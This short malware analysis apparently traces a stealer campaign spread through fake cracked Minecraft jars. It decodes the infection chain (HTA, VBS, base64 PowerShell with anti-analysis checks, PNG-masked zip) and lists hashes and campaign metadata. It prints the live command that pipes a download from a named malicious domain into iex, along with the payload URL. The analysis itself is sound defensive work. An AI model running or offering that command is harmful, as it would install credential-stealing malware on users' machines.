Stage-1 dropper fetched by the paneldrop.PanelDrop entrypoint injected into fake cracked Minecraft jars from https://portalclient-drab.vercel.app/ (powershell irm 'https://tools.lumma.cy/bsKLZ?oU=k' | iex). Hidden-window HTA: Window_OnLoad writes 2-3 random-named VBS files to %TEMP%, each launching a base64 PowerShell stage. Stage chain (fully decoded, nothing executed): tools.lumma.cy/bsKLZ serves a hidden-window HTA that writes 2-3 random-named VBS to %TEMP%; each runs base64 PowerShell with anti-analysis gates (blocks BITS/WebClient/IWR user-agents, zip magic-byte checks), downloads https://tools.lumma.cy/OIIBSK3NSfP8fAo65JBB.png (PNG-masked zip) and executes rename.exe (name re-rolled per fetch) - a native stealer core, VT 52/75 trojan.clipbanker/mikey, sha256 9ddb5cfa4a64771fbed9b74c1bba90c9e84d1d24d5cb56ed2e3472b17f59cb37. The zip leaks .spread_meta: campaign_id=618, slug=jar/2a53f9a1e1252701, niche=spotify. tools.lumma.cy is Bombay MaaS infrastructure (Lumma branding on the domain is a mask).
